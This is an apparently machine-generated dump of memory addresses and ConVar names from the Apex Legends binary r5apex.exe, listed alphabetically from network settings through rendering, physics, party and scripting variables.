+r5apex.exe!0x011b2df0 ConVar net_showudp_remoteonly +r5apex.exe!0x01cb7b60 ConVar net_showusercmd +r5apex.exe!0x011a4e20 ConVar net_skipUnnecessaryDeltas +r5apex.exe!0x011aff00 ConVar net_splitrate +r5apex.exe!0x011aedc0 ConVar net_splitrateDefaultMP +r5apex.exe!0x011ac070 ConVar net_splitrateDefaultSP +r5apex.exe!0x011a8d40 ConVar net_tamperPackets +r5apex.exe!0x012b12c0 ConVar net_threadedEntityDeltas +r5apex.exe!0x012b23a0 ConVar net_threadedProcessPacket +r5apex.exe!0x011a9fa0 ConVar net_timeoutUsesLastReadTime +r5apex.exe!0x011af4e0 ConVar net_trackerWarningInterval +r5apex.exe!0x011b1af0 ConVar net_usesocketsforloopback +r5apex.exe!0x011b06c0 ConVar net_verifyEncryption +r5apex.exe!0x012ec820 ConVar net_voiceEchoFromChatServer +r5apex.exe!0x011a9ce0 ConVar net_warnAboutSocketReadGaps +r5apex.exe!0x011b0e30 ConVar net_warnGapTime +r5apex.exe!0x011b1d70 ConVar net_wifi +r5apex.exe!0x012b10e0 ConVar net_worldHitchSlopTime +r5apex.exe!0x012e6f10 ConVar next +r5apex.exe!0x01cbc500 ConVar noReloadAfterUse +r5apex.exe!0x012fe780 ConVar noise_filter_scale +r5apex.exe!0x011b40c0 ConVar not_focus_sleep +r5apex.exe!0x012e44a0 ConVar notification_displayTime +r5apex.exe!0x011b5140 ConVar nucleus_id +r5apex.exe!0x011b46c0 ConVar nucleus_pid +r5apex.exe!0x01c6a3c0 ConVar number_shortenToMillionsAfter +r5apex.exe!0x01e95e50 ConVar object_placement_debug +r5apex.exe!0x01e9d940 ConVar offhandTossOverheadPitchThreshold +r5apex.exe!0x01c75a20 ConVar offhand_alignEndAnim1p3p +r5apex.exe!0x011b6740 ConVar old_culling +r5apex.exe!0x011b4aa0 ConVar old_gather_props +r5apex.exe!0x01cac680 ConVar one_handed_change_rate +r5apex.exe!0x01e73fa0 ConVar opaque_renderable_worker +r5apex.exe!0x012e4e20 ConVar openInvite_spam +r5apex.exe!0x012e4780 ConVar openInvites_filterByLanguage +r5apex.exe!0x012e4a40 ConVar openInvites_filterByRegion +r5apex.exe!0x012e9420 ConVar openinvite_duration_default +r5apex.exe!0x01c54060 ConVar ordnanceSwapSelectCooldown +r5apex.exe!0x0586ef70 ConVar origin_Errorlevel_OldBehaviour +r5apex.exe!0x0586f290 ConVar origin_Errorlevel_Telementry +r5apex.exe!0x0586f1f0 ConVar origin_authCodeFailureMaxBackoffSeconds +r5apex.exe!0x05869b60 ConVar origin_autoRefreshTokenClient +r5apex.exe!0x0586f0b0 ConVar origin_autoRefreshTokenServer +r5apex.exe!0x0586edb0 ConVar origin_debug +r5apex.exe!0x05869a20 ConVar origin_disconnectWhenOffline +r5apex.exe!0x05869ac0 ConVar origin_ignoreInvitesOnLoadScreen +r5apex.exe!0x012eb600 ConVar origin_igo_mutes_sound_enabled +r5apex.exe!0x058697d0 ConVar origin_igo_mutes_sound_enabled +r5apex.exe!0x018bcfc0 ConVar origin_igo_muting_sound +r5apex.exe!0x05869980 ConVar origin_keepOldPresence +r5apex.exe!0x0586ee50 ConVar origin_presense_updateRate +r5apex.exe!0x0586f150 ConVar origin_tokenFailureMaxBackoffSeconds +r5apex.exe!0x01ea8b60 ConVar panel_showVisChanges +r5apex.exe!0x01ea8790 ConVar panel_test_title_safe +r5apex.exe!0x01ea0400 ConVar parenting_debug +r5apex.exe!0x01cbaec0 ConVar particleEffect_checkShouldStillPlay +r5apex.exe!0x01ea6f10 ConVar particle_alwayswakeonstop +r5apex.exe!0x012ee240 ConVar particle_cpu_level +r5apex.exe!0x01ea72d0 ConVar particle_delete_all_except +r5apex.exe!0x01c498d0 ConVar particle_dlights_enable +r5apex.exe!0x01c52760 ConVar particle_dlights_spew +r5apex.exe!0x01c71630 ConVar particle_gpu_level +r5apex.exe!0x01301300 ConVar particle_lighting_clear_enable +r5apex.exe!0x01301260 ConVar particle_lighting_size +r5apex.exe!0x01ea6b10 ConVar particle_lighting_viewmodel_enable +r5apex.exe!0x01c6bab0 ConVar particle_overlay +r5apex.exe!0x01c6c940 ConVar particle_overlay_detail_attributes +r5apex.exe!0x01c708e0 ConVar particle_overlay_detail_filter +r5apex.exe!0x01c70540 ConVar particle_overlay_detail_list_particles +r5apex.exe!0x01c6d600 ConVar particle_overlay_detail_scroll +r5apex.exe!0x01c6ec80 ConVar particle_overlay_hide_sleeping +r5apex.exe!0x01c6f4a0 ConVar particle_overlay_list_filter +r5apex.exe!0x01c6b6e0 ConVar particle_overlay_list_tally +r5apex.exe!0x01c6c800 ConVar particle_overlay_list_tally_collapse_children +r5apex.exe!0x01c6de00 ConVar particle_overlay_old +r5apex.exe!0x01c6e360 ConVar particle_overlay_scroll +r5apex.exe!0x01ea6490 ConVar particle_remap_vol2cp_debug +r5apex.exe!0x01ea5630 ConVar particle_script_dump +r5apex.exe!0x01ea56d0 ConVar particle_script_list +r5apex.exe!0x01ea5770 ConVar particle_script_log +r5apex.exe!0x01c6be40 ConVar particle_scrub_debug +r5apex.exe!0x01ea6bf0 ConVar particle_scrub_debug_effect +r5apex.exe!0x01ea7420 ConVar particle_scrub_is_using_time_scrub +r5apex.exe!0x01ea6fb0 ConVar particle_scrub_max_dt +r5apex.exe!0x01ea7050 ConVar particle_scrub_play_speed +r5apex.exe!0x01ea7230 ConVar particle_scrub_quality +r5apex.exe!0x01ea70f0 ConVar particle_scrub_time +r5apex.exe!0x01c6f220 ConVar particle_simulateoverflow +r5apex.exe!0x01ea7380 ConVar particles_cull_dlights +r5apex.exe!0x01ea7190 ConVar particles_max_passes +r5apex.exe!0x01ea6c90 ConVar particles_spawncull +r5apex.exe!0x01ea6dd0 ConVar particles_spawncull_report +r5apex.exe!0x012e94c0 ConVar parties_alwaysReadSubs +r5apex.exe!0x012e8c20 ConVar party_autoCreatePartyAlways +r5apex.exe!0x012e97c0 ConVar party_autoCreatePartyDelay +r5apex.exe!0x01e80950 ConVar party_color_enabled +r5apex.exe!0x012e8f40 ConVar party_doRealNameLookups +r5apex.exe!0x012e8e00 ConVar party_doRealNameLookupsForOwner +r5apex.exe!0x012e5100 ConVar party_hostname +r5apex.exe!0x012e8d60 ConVar party_httpHandleTimeout +r5apex.exe!0x012e4ae0 ConVar party_keepAliveTime +r5apex.exe!0x012e9380 ConVar party_keepAliveTime +r5apex.exe!0x012e91c0 ConVar party_leaderAlwaysDetectsChanges +r5apex.exe!0x012e9120 ConVar party_leaderReadyOnly +r5apex.exe!0x012e4c80 ConVar party_leaveMatchOnJoin +r5apex.exe!0x012e92e0 ConVar party_lookupRealNamesForOpenInvites +r5apex.exe!0x012e9560 ConVar party_lookupRealNamesForOpenInvitesForOwner +r5apex.exe!0x012e9080 ConVar party_minSize +r5apex.exe!0x012e9720 ConVar party_privacy +r5apex.exe!0x012e9860 ConVar party_readyToSearch +r5apex.exe!0x012b7490 ConVar party_relyOnPartyForMemberUserInfo +r5apex.exe!0x012e9900 ConVar party_requireConsensusForSearch +r5apex.exe!0x011b73a0 ConVar perTriangleCollisionForced +r5apex.exe!0x0189f8c0 ConVar perfcharts_killswitch +r5apex.exe!0x0189f960 ConVar perfcharts_pin_enabled +r5apex.exe!0x0189fa00 ConVar perfcharts_pin_print +r5apex.exe!0x011b28b0 ConVar persistenceDef_hostname +r5apex.exe!0x012ed700 ConVar persistenceDef_queryMaxHttpRetries +r5apex.exe!0x012ed660 ConVar persistenceDef_readMaxHttpRetries +r5apex.exe!0x012ed7a0 ConVar persistenceDef_retryReadAfterErrorTime +r5apex.exe!0x012ed840 ConVar persistenceDef_writeMaxHttpRetries +r5apex.exe!0x012ed980 ConVar persistence_clForceNew +r5apex.exe!0x012eda20 ConVar persistence_disableForBuildProcess +r5apex.exe!0x012edac0 ConVar persistence_enforce_manifest +r5apex.exe!0x011b1c30 ConVar persistence_hostname +r5apex.exe!0x012edc00 ConVar persistence_new_player_if_upgrade_fails +r5apex.exe!0x012ed8e0 ConVar persistence_upload_def +r5apex.exe!0x012edb60 ConVar persistence_upload_failure_is_error +r5apex.exe!0x012b1e20 ConVar persistent_warningRate +r5apex.exe!0x011b39f0 ConVar pertrianglecollision +r5apex.exe!0x01ea4710 ConVar phys_bounce +r5apex.exe!0x01ea47f0 ConVar phys_cfm +r5apex.exe!0x01ea4530 ConVar phys_cfm_anglejointstop +r5apex.exe!0x01ea45d0 ConVar phys_drawContacts +r5apex.exe!0x01ea4670 ConVar phys_drawContactsDuration +r5apex.exe!0x01ea4210 ConVar phys_drawGeoms +r5apex.exe!0x01ea4350 ConVar phys_drawTunnelChecks +r5apex.exe!0x01ea3f90 ConVar phys_enableObjectPairCollidePrototype +r5apex.exe!0x01ea3e50 ConVar phys_erp +r5apex.exe!0x01ea4170 ConVar phys_erp_anglejointstop +r5apex.exe!0x01ea4490 ConVar phys_frictionDefault +r5apex.exe!0x01c6faa0 ConVar phys_showObjectCount +r5apex.exe!0x01ea4030 ConVar phys_threadGoWide +r5apex.exe!0x01ea4ad0 ConVar physics_async_cl +r5apex.exe!0x01ea4990 ConVar physics_autoSleepAngularThreshold +r5apex.exe!0x01ea43f0 ConVar physics_autoSleepDebug +r5apex.exe!0x01ea42b0 ConVar physics_autoSleepGroundHysteresis +r5apex.exe!0x01ea4a30 ConVar physics_autoSleepSpeedThreshold +r5apex.exe!0x01ea3ef0 ConVar physics_collideWithMovingGeo +r5apex.exe!0x01c6d000 ConVar physics_collision_speed_threshold +r5apex.exe!0x01c90670 ConVar physics_defaultMaxAngularSpeed +r5apex.exe!0x01cabfe0 ConVar physics_defaultMaxSpeed +r5apex.exe!0x018a3050 ConVar physics_scaled_mem +r5apex.exe!0x01ea40d0 ConVar physics_tunnelChecks +r5apex.exe!0x01ea48f0 ConVar physics_tunnelChecksForceAlways +r5apex.exe!0x011b6ae0 ConVar pin_opt_in +r5apex.exe!0x012b2440 ConVar pin_plat_id +r5apex.exe!0x011b6d60 ConVar pin_sid +r5apex.exe!0x011b36d0 ConVar pin_telemetry_actually_send +r5apex.exe!0x011b6fe0 ConVar pin_telemetry_debug_code +r5apex.exe!0x011b5c00 ConVar pin_telemetry_debug_http_requests +r5apex.exe!0x011b34d0 ConVar pin_telemetry_debug_payload +r5apex.exe!0x01e778d0 ConVar pin_telemetry_debug_script +r5apex.exe!0x011b3950 ConVar pin_telemetry_dont_send_events +r5apex.exe!0x011b4c80 ConVar pin_telemetry_hostname +r5apex.exe!0x011b4800 ConVar pin_telemetry_inactivity_send_time +r5apex.exe!0x011b49e0 ConVar pin_telemetry_max_payload_size +r5apex.exe!0x011b5e80 ConVar pin_telemetry_send_debug +r5apex.exe!0x011adff0 ConVar ping_debug +r5apex.exe!0x01e8ba10 ConVar ping_max_green +r5apex.exe!0x01e8b890 ConVar ping_max_red +r5apex.exe!0x01e8be70 ConVar ping_max_yellow +r5apex.exe!0x011ac9e0 ConVar ping_minSentForChoice +r5apex.exe!0x011ae430 ConVar ping_qos_units +r5apex.exe!0x011b2130 ConVar ping_usePacketLoss +r5apex.exe!0x018afef0 ConVar pixvis_enable +r5apex.exe!0x0189d2a0 ConVar pixvis_maxquads +r5apex.exe!0x018afc70 ConVar pixvis_spew +r5apex.exe!0x012e87d0 ConVar plat_environment +r5apex.exe!0x012e41a0 ConVar plat_retryNameLookups +r5apex.exe!0x012b2580 ConVar platform_user_id +r5apex.exe!0x01e8afd0 ConVar playerListPartyColorB +r5apex.exe!0x01e8bdd0 ConVar playerListPartyColorG +r5apex.exe!0x01e8acb0 ConVar playerListPartyColorR +r5apex.exe!0x01e8c050 ConVar playerListUseFriendColor +r5apex.exe!0x01cbc260 ConVar player_ADS_buffer_time_seconds +r5apex.exe!0x018aed10 ConVar player_debugPredictedPosition +r5apex.exe!0x018a8610 ConVar player_deltaAnimsMakeMeUnpredicted +r5apex.exe!0x018ad9a0 ConVar player_doJetwashEffects +r5apex.exe!0x01ca3e70 ConVar player_extraairaccelleration +r5apex.exe!0x018aebd0 ConVar player_highFrequencyThinkDistance +r5apex.exe!0x01cac850 ConVar player_movementBounds_predictionShare +r5apex.exe!0x01e8a2d0 ConVar player_movingDeathThreshold +r5apex.exe!0x018ae070 ConVar player_respawnInputDebounceDuration +r5apex.exe!0x01c60780 ConVar player_setting_autosprint +r5apex.exe!0x01e799e0 ConVar player_setting_damage_closes_deathbox_menu +r5apex.exe!0x01cbcda0 ConVar player_setting_stickysprintforward +r5apex.exe!0x018acb00 ConVar player_showEyePosition +r5apex.exe!0x01c72440 ConVar player_useMovementBounds +r5apex.exe!0x018ae190 ConVar player_viewchange_debug_pitch +r5apex.exe!0x018aedb0 ConVar player_viewchange_debug_roll +r5apex.exe!0x018ad860 ConVar player_viewchange_debug_yaw +r5apex.exe!0x011b66a0 ConVar playlist_changeGamemodeAutomatically +r5apex.exe!0x011b5480 ConVar playlist_debug +r5apex.exe!0x011b3430 ConVar playlist_debug_getvar +r5apex.exe!0x011b4be0 ConVar playlist_debug_localization +r5apex.exe!0x011b5960 ConVar playlist_dump +r5apex.exe!0x011b3390 ConVar playlist_rotationGroup +r5apex.exe!0x011b6520 ConVar playlist_rotationInterval +r5apex.exe!0x011b3dd0 ConVar playlist_rotationIntervalDefault +r5apex.exe!0x011b60e0 ConVar playlist_rotationIntervalOverride +r5apex.exe!0x011b5aa0 ConVar playlist_rotationNextTime +r5apex.exe!0x01ca28d0 ConVar playlist_variableErrorsChecks +r5apex.exe!0x01e8cc30 ConVar portal_pointpush_debug +r5apex.exe!0x01e8ccd0 ConVar portal_pointpush_think_rate +r5apex.exe!0x01cbcbc0 ConVar portal_use_player_avoidance +r5apex.exe!0x01ea0ec0 ConVar postdataupdate_threaded +r5apex.exe!0x01ea0640 ConVar postdataupdate_threaded_chunksize +r5apex.exe!0x011af0e0 ConVar printConnectTimings +r5apex.exe!0x018c73b0 ConVar print_timeprefix +r5apex.exe!0x01e95ef0 ConVar process_pending_vm_effects +r5apex.exe!0x01e8adf0 ConVar progressbar_allow_wrap +r5apex.exe!0x01e8b250 ConVar progressbar_high_precision +r5apex.exe!0x01e8b070 ConVar progressbar_single_bar +r5apex.exe!0x01e9be80 ConVar projectile_fake_prediction_in_kill_replay +r5apex.exe!0x01e98de0 ConVar projectile_faketrails +r5apex.exe!0x01e99280 ConVar projectile_filltrails +r5apex.exe!0x01e97c10 ConVar projectile_lagCompensationDebug +r5apex.exe!0x01e99140 ConVar projectile_lagCompensationDebugDrawNoReg +r5apex.exe!0x01e97f50 ConVar projectile_lagCompensationDebugDrawTime +r5apex.exe!0x01e99000 ConVar projectile_lagCompensationDebugExtra +r5apex.exe!0x01e991e0 ConVar projectile_lagCompensationDebugForceNoReg +r5apex.exe!0x01e97eb0 ConVar projectile_lagCompensationDebugServerOffset +r5apex.exe!0x01e91de0 ConVar projectile_lagCompensationMissileTimeStepScalar +r5apex.exe!0x01e98f60 ConVar projectile_muzzleOffsetFirstPersonDecayDist +r5apex.exe!0x01e98660 ConVar projectile_muzzleOffsetFirstPersonDecayMaxTime +r5apex.exe!0x01e98540 ConVar projectile_muzzleOffsetThirdPersonDecayDist +r5apex.exe!0x01e990a0 ConVar projectile_muzzleOffsetThirdPersonDecayMaxTime +r5apex.exe!0x01e98e80 ConVar projectile_prediction +r5apex.exe!0x01e98c80 ConVar projectile_predictionErrorCorrectTime +r5apex.exe!0x01c47ff0 ConVar prop_lightweightPropsSkipAnimData +r5apex.exe!0x018afa90 ConVar prop_survivalSkipsAnimData +r5apex.exe!0x01cb46b0 ConVar props_break_burst_rotation +r5apex.exe!0x01cb45a0 ConVar props_break_max_pieces +r5apex.exe!0x01cb8980 ConVar props_break_max_pieces_perframe +r5apex.exe!0x012e51a0 ConVar publication_hostname +r5apex.exe!0x01ea2be0 ConVar push_cl +r5apex.exe!0x01ea0b40 ConVar push_cl_always_update_prev_matrix +r5apex.exe!0x01cb88e0 ConVar push_debug +r5apex.exe!0x01cb6ed0 ConVar push_debug_ent +r5apex.exe!0x01cb3940 ConVar push_ragdolls +r5apex.exe!0x01e75980 ConVar pve_debug +r5apex.exe!0x01cbf030 ConVar pvs_addWorkItemsAccum +r5apex.exe!0x01cbf3f0 ConVar pvs_addWorkItemsThreshold_edges +r5apex.exe!0x01cbf530 ConVar pvs_addWorkItemsThreshold_leaves +r5apex.exe!0x01cbf5d0 ConVar pvs_cullBoxes +r5apex.exe!0x01cbf210 ConVar pvs_debug +r5apex.exe!0x01cbf2b0 ConVar pvs_frustumCullOnly +r5apex.exe!0x01c528a0 ConVar pvs_start_early +r5apex.exe!0x01ca8070 ConVar r_AirboatViewDampenDamp +r5apex.exe!0x01cab8b0 ConVar r_AirboatViewDampenFreq +r5apex.exe!0x01ca90e0 ConVar r_AirboatViewZHeight +r5apex.exe!0x01cac080 ConVar r_JeepViewDampenDamp +r5apex.exe!0x01ca9490 ConVar r_JeepViewDampenFreq +r5apex.exe!0x01c76620 ConVar r_VehicleViewDampen +r5apex.exe!0x01cbf350 ConVar r_WaterDrawReflection +r5apex.exe!0x012faf50 ConVar r_WaterDrawRefraction +r5apex.exe!0x011aa510 ConVar r_aspectratio +r5apex.exe!0x01cbfd50 ConVar r_blurmenubg +r5apex.exe!0x0189cbe0 ConVar r_bone_matrix_bulk_update_threshold +r5apex.exe!0x011b55c0 ConVar r_brush_queue_mode +r5apex.exe!0x011b6220 ConVar r_createmodeldecals +r5apex.exe!0x011ad520 ConVar r_cullshadowworldmeshes +r5apex.exe!0x01c72ba0 ConVar r_debug_draw_box_depth_test +r5apex.exe!0x011b6920 ConVar r_decal_cover_count +r5apex.exe!0x011a7dc0 ConVar r_decal_cull_stretch_limit +r5apex.exe!0x011b4440 ConVar r_decal_draw_basis +r5apex.exe!0x011a70f0 ConVar r_decal_drawclipped +r5apex.exe!0x011b6e00 ConVar r_decal_overlap_area +r5apex.exe!0x011b6180 ConVar r_decal_overlap_count +r5apex.exe!0x011b4620 ConVar r_decal_test_scale +r5apex.exe!0x011ae390 ConVar r_decals +r5apex.exe!0x012ffef0 ConVar r_delay_texture_destroy +r5apex.exe!0x012fb130 ConVar r_ditherFade +r5apex.exe!0x018c25a0 ConVar r_ditherFade +r5apex.exe!0x018be020 ConVar r_ditherFadeShadows +r5apex.exe!0x01c52560 ConVar r_drawallrenderables +r5apex.exe!0x01cbff30 ConVar r_drawalphasort +r5apex.exe!0x011b2590 ConVar r_drawbrushmodels +r5apex.exe!0x01e74e40 ConVar r_drawbrushmodels +r5apex.exe!0x011b5f20 ConVar r_drawdecals +r5apex.exe!0x01e74bc0 ConVar r_drawdepth_of_blend2transparent +r5apex.exe!0x011a5f40 ConVar r_drawdlights +r5apex.exe!0x011ab130 ConVar r_drawentities +r5apex.exe!0x011a7d20 ConVar r_drawlightdist +r5apex.exe!0x011a73d0 ConVar r_drawlightinfo +r5apex.exe!0x018a7030 ConVar r_drawmodelsinzfill +r5apex.exe!0x01e74ee0 ConVar r_drawopaquerenderables +r5apex.exe!0x01c71590 ConVar r_drawparticles +r5apex.exe!0x01ea0820 ConVar r_drawrenderboxes +r5apex.exe!0x01cbfc10 ConVar r_drawscreenspaceparticles +r5apex.exe!0x01e742c0 ConVar r_drawsky +r5apex.exe!0x011a7bb0 ConVar r_drawstaticlight +r5apex.exe!0x01e74b20 ConVar r_drawstaticprops +r5apex.exe!0x01c5d300 ConVar r_drawtracers +r5apex.exe!0x01e74c60 ConVar r_drawtransrenderables +r5apex.exe!0x011b4940 ConVar r_drawvgui +r5apex.exe!0x01e74220 ConVar r_drawviewmodel +r5apex.exe!0x011b0c00 ConVar r_drawworld +r5apex.exe!0x011a90a0 ConVar r_dynamic +r5apex.exe!0x01e74900 ConVar r_earlyRenderables +r5apex.exe!0x018bddc0 ConVar r_enableOriginSort +r5apex.exe!0x01cbf8f0 ConVar r_fadeincode +r5apex.exe!0x01c529c0 ConVar r_farz +r5apex.exe!0x011b0160 ConVar r_fastzreject +r5apex.exe!0x01cbf0d0 ConVar r_forcecheapwater +r5apex.exe!0x018a76f0 ConVar r_jiggle_bones +r5apex.exe!0x011b1510 ConVar r_lightmap +r5apex.exe!0x011b0f70 ConVar r_lightprobe_force_trans_dist +r5apex.exe!0x011b1790 ConVar r_lightstyle +r5apex.exe!0x011aefa0 ConVar r_lod +r5apex.exe!0x011b5820 ConVar r_lod +r5apex.exe!0x01c6dd60 ConVar r_lod +r5apex.exe!0x011b3110 ConVar r_lod_shift +r5apex.exe!0x01c6a1e0 ConVar r_lod_shift +r5apex.exe!0x01e8f510 ConVar r_lod_switch_scale +r5apex.exe!0x018bf2a0 ConVar r_mapextents +r5apex.exe!0x0189f480 ConVar r_modeldecal_maxtotal +r5apex.exe!0x018afd10 ConVar r_nearz +r5apex.exe!0x01303620 ConVar r_no_stalls +r5apex.exe!0x0189cdc0 ConVar r_no_stalls +r5apex.exe!0x0189d340 ConVar r_no_stalls +r5apex.exe!0x011aab80 ConVar r_norefresh +r5apex.exe!0x01e74040 ConVar r_particle_lighting_debug +r5apex.exe!0x01cbf670 ConVar r_particle_lighting_enable +r5apex.exe!0x01ea6790 ConVar r_particle_lighting_enable +r5apex.exe!0x01ea5b50 ConVar r_particle_lighting_force +r5apex.exe!0x01ea6a40 ConVar r_particle_lighting_force +r5apex.exe!0x01cbf990 ConVar r_particle_low_res_debug +r5apex.exe!0x01301440 ConVar r_particle_low_res_draw_weight_tex +r5apex.exe!0x01ea6890 ConVar r_particle_low_res_enable +r5apex.exe!0x01ea6930 ConVar r_particle_low_res_force +r5apex.exe!0x013013a0 ConVar r_particle_low_res_tiled_composite +r5apex.exe!0x01c6c260 ConVar r_particle_sim_spike_increment_ms +r5apex.exe!0x01c6fe20 ConVar r_particle_sim_spike_threshold_ms +r5apex.exe!0x01c68440 ConVar r_particle_timescale +r5apex.exe!0x018b9a00 ConVar r_particles_early_distance_cull +r5apex.exe!0x01ea18c0 ConVar r_pos_debug +r5apex.exe!0x01ea0d80 ConVar r_render_pos_debug +r5apex.exe!0x012fb630 ConVar r_rimlight +r5apex.exe!0x011b1b90 ConVar r_rootlod +r5apex.exe!0x01c59930 ConVar r_ropetranslucent +r5apex.exe!0x01c6dfc0 ConVar r_setupBoneWorkSize +r5apex.exe!0x01c71ab0 ConVar r_setupBoneWorkerThreadhold +r5apex.exe!0x012fb6d0 ConVar r_shadowrendertotexture +r5apex.exe!0x01cbfe90 ConVar r_sky_ignoreAngles +r5apex.exe!0x01c49a10 ConVar r_sort_trans_debug +r5apex.exe!0x018be520 ConVar r_sort_trans_debug_dist +r5apex.exe!0x01c6b640 ConVar r_threaded_particles +r5apex.exe!0x01c6a560 ConVar r_updaterefracttexture +r5apex.exe!0x01c70c00 ConVar r_updaterefracttexture_allowmultiple +r5apex.exe!0x011a5930 ConVar r_visambient +r5apex.exe!0x011a7510 ConVar r_visambient_orig +r5apex.exe!0x011a7b10 ConVar r_visambient_point +r5apex.exe!0x011b6a40 ConVar r_vismodellighting_lightpos +r5apex.exe!0x01c6a0a0 ConVar r_vismodellighting_maxdist +r5apex.exe!0x01c6dba0 ConVar r_vismodellighting_mindist +r5apex.exe!0x011b5780 ConVar r_vismodellighting_offset_x +r5apex.exe!0x011b4300 ConVar r_vismodellighting_offset_y +r5apex.exe!0x011b53e0 ConVar r_vismodellighting_offset_z +r5apex.exe!0x018c72f0 ConVar r_visualizeproplightcaching +r5apex.exe!0x01cb9fd0 ConVar r_visualizetraces +r5apex.exe!0x01cb9a50 ConVar r_visualizetraces_duration +r5apex.exe!0x01302d40 ConVar r_volumetric_lighting_blur_count +r5apex.exe!0x01302ca0 ConVar r_volumetric_lighting_blur_type +r5apex.exe!0x01302c00 ConVar r_volumetric_lighting_enabled +r5apex.exe!0x01302e80 ConVar r_volumetric_lighting_numSteps +r5apex.exe!0x01302de0 ConVar r_volumetric_lighting_rotate_dither +r5apex.exe!0x01cbf170 ConVar r_waterforceexpensive +r5apex.exe!0x01cbf490 ConVar r_waterforcereflectentities +r5apex.exe!0x01e74da0 ConVar r_zfill +r5apex.exe!0x018a6d50 ConVar ragdoll_debug +r5apex.exe!0x01c70260 ConVar ragdoll_sleepaftertime +r5apex.exe!0x01e788b0 ConVar rankedplay_display_enabled +r5apex.exe!0x01e77d30 ConVar rankedplay_voice_enabled +r5apex.exe!0x0127b8c0 ConVar rate +r5apex.exe!0x01cbaf60 ConVar reactive_wakeOnStop +r5apex.exe!0x01c58640 ConVar real_time_update_dt +r5apex.exe!0x01c775e0 ConVar realms_add_child_to_parent_by_default +r5apex.exe!0x01cac4e0 ConVar realms_script_error_on_parenting_mismatch +r5apex.exe!0x011b9900 ConVar recalculateOrigin_threaded_chunksize +r5apex.exe!0x012e9b60 ConVar reconnect_available_timespan +r5apex.exe!0x012e9ac0 ConVar reconnect_check_platform_id +r5apex.exe!0x012b6da0 ConVar reconnect_debug +r5apex.exe!0x012e9c00 ConVar reconnect_delay +r5apex.exe!0x011b1650 ConVar reconnect_enabled +r5apex.exe!0x011a5d90 ConVar reconnect_timeout +r5apex.exe!0x01e8e320 ConVar remoteCalls_requireConnectionScriptsForViewPlayer +r5apex.exe!0x011b31b0 ConVar remoteMatchInfo_print +r5apex.exe!0x011b74f0 ConVar replay_enable +r5apex.exe!0x011b50a0 ConVar replay_prediction_smooth +r5apex.exe!0x01ea2280 ConVar report_cliententitysim +r5apex.exe!0x018be3e0 ConVar report_clientthinklist +r5apex.exe!0x018b82c0 ConVar roamingcam_cameraspacemotion +r5apex.exe!0x018ba200 ConVar roamingcam_downSpeedMult +r5apex.exe!0x018b07e0 ConVar roamingcam_forwardSpeed +r5apex.exe!0x01c493f0 ConVar roamingcam_forwardSpeed_fast +r5apex.exe!0x018ba160 ConVar roamingcam_forwardSpeed_slow +r5apex.exe!0x018c1260 ConVar roamingcam_movesmoothing +r5apex.exe!0x018af740 ConVar roamingcam_rollSpeed +r5apex.exe!0x018c00b0 ConVar roamingcam_sideSpeedMult +r5apex.exe!0x018b0c30 ConVar roamingcam_smoothtime +r5apex.exe!0x018bea20 ConVar roamingcam_viewsmoothing +r5apex.exe!0x018aef90 ConVar rodeo_camera_smooth_blend_out_time +r5apex.exe!0x018ad7c0 ConVar rodeo_camera_smooth_enable +r5apex.exe!0x01e89fb0 ConVar rodeoed_anims_enabled +r5apex.exe!0x01c66600 ConVar rope_collide +r5apex.exe!0x01c64f60 ConVar rope_debug_shake +r5apex.exe!0x01c56ff0 ConVar rope_parallelMeshBuilder +r5apex.exe!0x01c65e00 ConVar rope_regenMeshEachDraw +r5apex.exe!0x01c58a20 ConVar rope_shake +r5apex.exe!0x01c657e0 ConVar rope_texels_per_world_unit +r5apex.exe!0x01c54220 ConVar rope_wiggle_harmonic_falloff +r5apex.exe!0x01c67100 ConVar rope_wiggle_magnitude_loose +r5apex.exe!0x01c599d0 ConVar rope_wiggle_magnitude_tight +r5apex.exe!0x01c626e0 ConVar rope_wiggle_oscillate_speed +r5apex.exe!0x01c53f40 ConVar rope_wiggle_rotate_speed +r5apex.exe!0x01c5ed90 ConVar rope_wiggle_zipline_min_points +r5apex.exe!0x01c53980 ConVar rope_wind_dist +r5apex.exe!0x018ad1a0 ConVar rotate_ents +r5apex.exe!0x011a9be0 ConVar rspn_motd +r5apex.exe!0x012fedc0 ConVar rt_sync_message_pump +r5apex.exe!0x012fee60 ConVar rt_worker +r5apex.exe!0x01e8bab0 ConVar ruiPanel_resArgName +r5apex.exe!0x01c6f540 ConVar rui_asyncTracks +r5apex.exe!0x01eaa0b0 ConVar rui_defaultDebugFontFace +r5apex.exe!0x01eaa410 ConVar rui_defaultFontFace +r5apex.exe!0x01ea9210 ConVar rui_defaultFontHeight +r5apex.exe!0x01ea88d0 ConVar rui_overrideVguiTextRendering +r5apex.exe!0x012b2bc0 ConVar rui_padDist +r5apex.exe!0x012b2b20 ConVar rui_safeAreaFrac +r5apex.exe!0x011b3b30 ConVar rui_standardTextHeight +r5apex.exe!0x012b6a80 ConVar save_enable +r5apex.exe!0x01ea8c10 ConVar scheme_manager_font_debug +r5apex.exe!0x01c6ce00 ConVar scr_centertime +r5apex.exe!0x018b8400 ConVar screen_indicator_back_range +r5apex.exe!0x018c4890 ConVar screen_indicator_ellipse_height +r5apex.exe!0x018b00e0 ConVar screen_indicator_ellipse_width +r5apex.exe!0x018ba340 ConVar screen_indicator_pitch_limit +r5apex.exe!0x018ba700 ConVar screen_indicator_pitch_scale +r5apex.exe!0x01c6efa0 ConVar screenfade_debug +r5apex.exe!0x01cb7c00 ConVar scriptNetVar_categoryAsserts +r5apex.exe!0x01e752a0 ConVar script_compile_all_levels +r5apex.exe!0x01c6d4c0 ConVar script_debugger_connect_client_on_mapspawn +r5apex.exe!0x01e7a2c0 ConVar script_debugger_connect_ui_auto +r5apex.exe!0x01eab0e0 ConVar script_debugger_host +r5apex.exe!0x01eab180 ConVar script_debugger_port_client +r5apex.exe!0x01eab040 ConVar script_debugger_port_server +r5apex.exe!0x01eaaf00 ConVar script_debugger_port_ui +r5apex.exe!0x01eabce0 ConVar script_disallow_newslot_on_globals +r5apex.exe!0x01eaafa0 ConVar script_dump_simple +r5apex.exe!0x01e76f90 ConVar script_error_on_midgame_load +r5apex.exe!0x01eaae60 ConVar script_infinite_loop_ms +r5apex.exe!0x01c6f680 ConVar script_obfuscated_id_technique +r5apex.exe!0x01e77250 ConVar script_parallel_trace_LOS_multiple +r5apex.exe!0x01ca9a00 ConVar script_precache_errors +r5apex.exe!0x01c69c60 ConVar script_printDeferredCalls +r5apex.exe!0x01e77990 ConVar script_retry_after_compile_errors +r5apex.exe!0x01e77410 ConVar script_seasonNameQueryInterval +r5apex.exe!0x01e8ae90 ConVar script_showErrorDialogs 